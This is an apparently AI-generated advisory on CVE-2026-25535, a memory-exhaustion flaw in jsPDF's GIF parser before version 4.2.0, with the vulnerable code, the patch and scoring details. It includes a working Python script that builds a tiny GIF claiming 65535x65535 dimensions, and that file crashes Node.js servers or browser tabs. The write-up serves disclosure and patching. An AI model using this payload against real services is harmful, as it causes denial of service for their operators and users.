CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25535
8.7

The 4GB GIF: Crashing Browsers and Servers with CVE-2026-25535

Alon Barad
Alon Barad
Software Engineer

Feb 19, 2026·5 min read·6 visits

PoC Available

Executive Summary (TL;DR)

jsPDF < 4.2.0 trusts GIF headers blindly. A 50-byte malicious GIF can claim to be 4GB in size. When jsPDF tries to render it, it allocates memory based on those claims. Result: Instant Out-of-Memory (OOM) crash for Node.js backends or browser tabs.

A logic flaw in jsPDF's bundled GIF parser allows attackers to trigger a massive memory allocation by manipulating image headers. By specifying a canvas size of 65535x65535 in a tiny GIF file, an attacker can force the application to attempt a ~4.3GB contiguous memory allocation, crashing the process immediately.

The Hook: Client-Side PDF Generation is a Minefield

We all love client-side PDF generation. It shifts the compute cost from your expensive cloud servers to the user's browser, and it feels instantaneous. jsPDF is the titan of this arena, powering everything from invoice generators to concert ticket downloads. But here is the thing about parsing binary file formats in JavaScript: it is a high-wire act performed without a safety net.

To support images, jsPDF doesn't just stick a JPEG byte stream into the PDF container; it often needs to decode, analyze, and re-encode image data. For GIFs, it relies on a bundled version of omggif. And like many legacy parsers written in the early days of the Node ecosystem, omggif makes a classic mistake: it trusts the file header.

If I hand you a file that says "I am 10 pixels wide," you believe it. If I hand you a file that says "I am 65,535 pixels wide," a robust library should ask, "Are you sure about that?" jsPDF did not ask. It just opened its mouth and tried to swallow the ocean.

The Flaw: Trusting the Header

The vulnerability lies in how omggif (embedded within src/libs/omggif.js in jsPDF) handles the Logical Screen Descriptor of a GIF file. The GIF format specification defines offsets 6 and 8 as the Logical Screen Width and Height, respectively. These are unsigned 16-bit integers.

This means the maximum value for width or height is 0xFFFF, or 65,535. Now, 65k pixels doesn't sound like that much in the age of 4K monitors, until you do the math on the memory required to store the pixel buffer.

The library calculates the buffer size needed for a frame by multiplying width by height. It does not check if the resulting number is sane, nor does it check if the compressed image data actually contains enough pixels to fill that buffer. It simply reserves the memory upfront. This is a classic "Allocation of Resources Without Limits" (CWE-770), but in the context of a high-level language like JS, it manifests as a hard crash rather than a buffer overflow.

The Code: The Smoking Gun

Let's look at the crime scene in src/libs/omggif.js. The function decodeAndBlitFrameBGRA is responsible for setting up the buffer to decode the GIF frame. Here is the logic prior to version 4.2.0:

this.decodeAndBlitFrameBGRA = function(frame_num, pixels) {
    var frame = this.frameInfo(frame_num);
    // The vulnerability is right here:
    var num_pixels = frame.width * frame.height;
    
    // Allocating the buffer based solely on header math
    var index_stream = new Uint8Array(num_pixels);
    // ... decoding logic follows ...
};

Do you see the issue? frame.width and frame.height are taken directly from the binary parser. If an attacker sets both to 65,535, num_pixels becomes approximately 4,294,836,225.

In V8 (the engine behind Chrome and Node.js), a Uint8Array requires a contiguous block of memory. When the code executes new Uint8Array(4294836225), it is asking the runtime for roughly 4.29 GB of RAM in a single chunk. Even on a machine with 64GB of RAM, V8's heap limit (typically ~2GB to 4GB depending on flags) will likely reject this allocation immediately, throwing a RangeError: Array buffer allocation failed or simply crashing the process with an OOM killer event.

The Exploit: Weaponizing a 50-Byte File

To exploit this, we don't need to generate a valid 4GB GIF. We just need a valid GIF header that lies about its size. The actual image data can be a single empty block. The parser crashes at the allocation step, long before it realizes the image data is missing.

Here is a Python script to generate the "GIF of Death":

# exploit.py
# Generates a GIF with 65535x65535 logical screen size
 
header = b'GIF89a'
width = b'\xFF\xFF'  # 65535
height = b'\xFF\xFF' # 65535
flags = b'\x80'      # Global Color Table Flag set
bg_color = b'\x00'
pixel_ratio = b'\x00'
 
# Minimal color table and trailer to satisfy basic parsing until the crash
payload = header + width + height + flags + bg_color + pixel_ratio
payload += b'\x00\x00\x00' * 2 # Color table
payload += b';' # Trailer
 
with open('death.gif', 'wb') as f:
    f.write(payload)
 
print(f"Generated death.gif ({len(payload)} bytes)")

When a user uploads this file to an endpoint using jsPDF.addImage(fileData), or if a client-side app attempts to render it, the application creates the Uint8Array and dies. In a Node.js server generating PDFs (e.g., for reports), this is a trivial Denial of Service. A single request kills the thread.

The Fix: A Hard Limit

The maintainers fixed this in version 4.2.0 (specifically commit 2e5e156e284d92c7d134bce97e6418756941d5e6) by adding a sanity check. They decided that 512 megapixels ought to be enough for anyone.

// The Fix
var num_pixels = frame.width * frame.height;
 
// Hard limit check
if (num_pixels > 512 * 1024 * 1024) {
    throw new Error("Image dimensions exceed 512MB, which is too large.");
}
 
var index_stream = new Uint8Array(num_pixels);

While 512 million pixels is still a massive allocation (approx 512MB), it is generally within the safe bounds of a V8 heap allocation, preventing the immediate crash. This changes the outcome from "Process Termination" to "Caught Exception," allowing the application to handle the error gracefully.

Official Patches

jsPDFRelease v4.2.0 containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Affected Systems

Node.js applications generating PDFs server-sideReact/Vue/Angular apps using client-side PDF generationAny system using `jsPDF` < 4.2.0 with user-supplied images

Affected Versions Detail

Product
Affected Versions
Fixed Version
jsPDF
parallax
< 4.2.04.2.0
AttributeDetail
CWECWE-770 (Allocation of Resources Without Limits)
CVSS v4.08.7 (High)
Attack VectorNetwork (User uploaded image)
ImpactAvailability (DoS via OOM)
Exploit ComplexityLow (Simple file header modification)
Privileges RequiredNone

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-770
Allocation of Resources Without Limits or Throttling

Allocation of Resources Without Limits or Throttling

Known Exploits & Detection

GitHubPoC Python script to generate high-dimension GIF

Vulnerability Timeline

Vulnerability Disclosed
2026-02-19
Fix Merged (v4.2.0)
2026-02-19
CVE Assigned
2026-02-19

References & Sources

  • [1]GitHub Security Advisory
  • [2]Patch Commit

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.